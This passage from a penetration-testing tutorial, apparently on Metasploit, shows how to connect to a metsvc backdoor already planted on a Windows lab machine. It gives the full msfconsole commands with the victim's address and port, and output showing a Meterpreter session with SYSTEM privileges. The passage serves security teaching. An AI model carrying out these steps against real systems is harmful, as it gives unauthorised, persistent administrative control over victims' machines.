We will now use the multi/handler with a payload of windows/metsvc_bind_tcp to connect to the remote system. This is a special payload, as typically a Meterpreter payload is multi-stage, where a minimal amount of code is sent as part of the exploit, and then more is uploaded after code execution has been achieved.
Think of a shuttle rocket, and the booster rockets that are used to get the space shuttle into orbit. This is much the same, except instead of extra items being there and then dropping off, Meterpreter starts as small as possible, then adds on. In this case however, the full Meterpreter code has already been uploaded to the remote machine, and there is no need for a staged connection.
We set all of our options for metsvc_bind_tcp with the victim’s IP address and the port we wish to have the service connect to on our machine. We then run the exploit.
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp PAYLOAD => windows/metsvc_bind_tcp msf exploit(handler) > set LPORT 31337 LPORT => 31337 msf exploit(handler) > set RHOST 192.168.1.104 RHOST => 192.168.1.104 msf exploit(handler) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/metsvc_bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process LPORT 31337 yes The local port RHOST 192.168.1.104 no The target address Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > exploit
Immediately after issuing exploit, our metsvc backdoor connects back to us.
[*] Starting the payload handler... [*] Started bind handler [*] Meterpreter session 2 opened (192.168.1.101:60840 -> 192.168.1.104:31337) meterpreter > ps Process list ============ PID Name Path --- ---- ---- 140 smss.exe \SystemRoot\System32\smss.exe 168 csrss.exe \??\C:\WINNT\system32\csrss.exe 188 winlogon.exe \??\C:WINNT\system32\winlogon.exe 216 services.exe C:\WINNT\system32\services.exe 228 lsass.exe C:\WINNT\system32\lsass.exe 380 svchost.exe C:\WINNT\system32\svchost.exe 408 spoolsv.exe C:\WINNT\system32\spoolsv.exe 444 svchost.exe C:\WINNT\System32\svchost.exe 480 regsvc.exe C:\WINNT\system32\regsvc.exe 500 MSTask.exe C:\WINNT\system32\MSTask.exe 528 VMwareService.exe C:\Program Files\VMware\VMware Tools\VMwareService.exe 564 metsvc.exe c:\WINNT\my\metsvc.exe 588 WinMgmt.exe C:\WINNT\System32\WBEM\WinMgmt.exe 676 cmd.exe C:\WINNT\System32\cmd.exe 724 cmd.exe C:\WINNT\System32\cmd.exe 764 mmc.exe C:\WINNT\system32\mmc.exe 816 metsvc-server.exe c:\WINNT\my\metsvc-server.exe 888 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe 896 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe 940 firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe 972 TPAutoConnSvc.exe C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe 1000 Explorer.exe C:\WINNT\Explorer.exe 1088 TPAutoConnect.exe C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe meterpreter > pwd C:\WINDOWS\system32 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >
And here we have a typical Meterpreter session! Again, be careful with when and how you use this trick. System owners will not be happy if you make an attackers job easier for them by placing such a useful backdoor on the system for them.